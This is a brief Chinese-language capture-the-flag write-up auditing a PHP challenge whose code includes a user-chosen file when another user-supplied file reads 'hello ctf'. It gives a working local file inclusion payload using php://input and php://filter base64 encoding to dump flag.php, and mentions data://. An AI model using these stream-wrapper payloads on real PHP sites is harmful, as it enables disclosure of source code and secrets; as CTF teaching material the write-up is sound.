代碼審計
WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);//高亮顯示文件的源代碼
if(isset($_GET["file1"]) && isset($_GET["file2"]))//檢查file1和file2參數是否存在
{$file1 = $_GET["file1"];$file2 = $_GET["file2"];if(!empty($file1) && !empty($file2)){if(file_get_contents($file2) === "hello ctf"){include($file1);//如果file2文件的內容是"hello ctf",會執行include($file1)}}elsedie("NONONO");
}
總結:include($file1)
會包含file1
指定的文件,可能會有flag。所以我們要達到file2=hello ctf的要求,file2被放入了file_get_contents() 函數,所以我們要繞過這個函數。可以使用php://input進行繞過?
PHP語言提供了一個特殊的輸入流——php://input,它能夠讓我們獲取未經處理的POST請求體數據。使用php://input的優勢在于它允許開發者繞過PHP的常規輸入過濾機制,直接讀取原始的POST數據
所以payload為:
?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=php://input
同時post傳入hello ctf(推薦使用hackbar插件)
參考大佬的方法也可以使用data://協議構造payload
?
然后拿到出現base64編碼,進行在線解碼得到fiag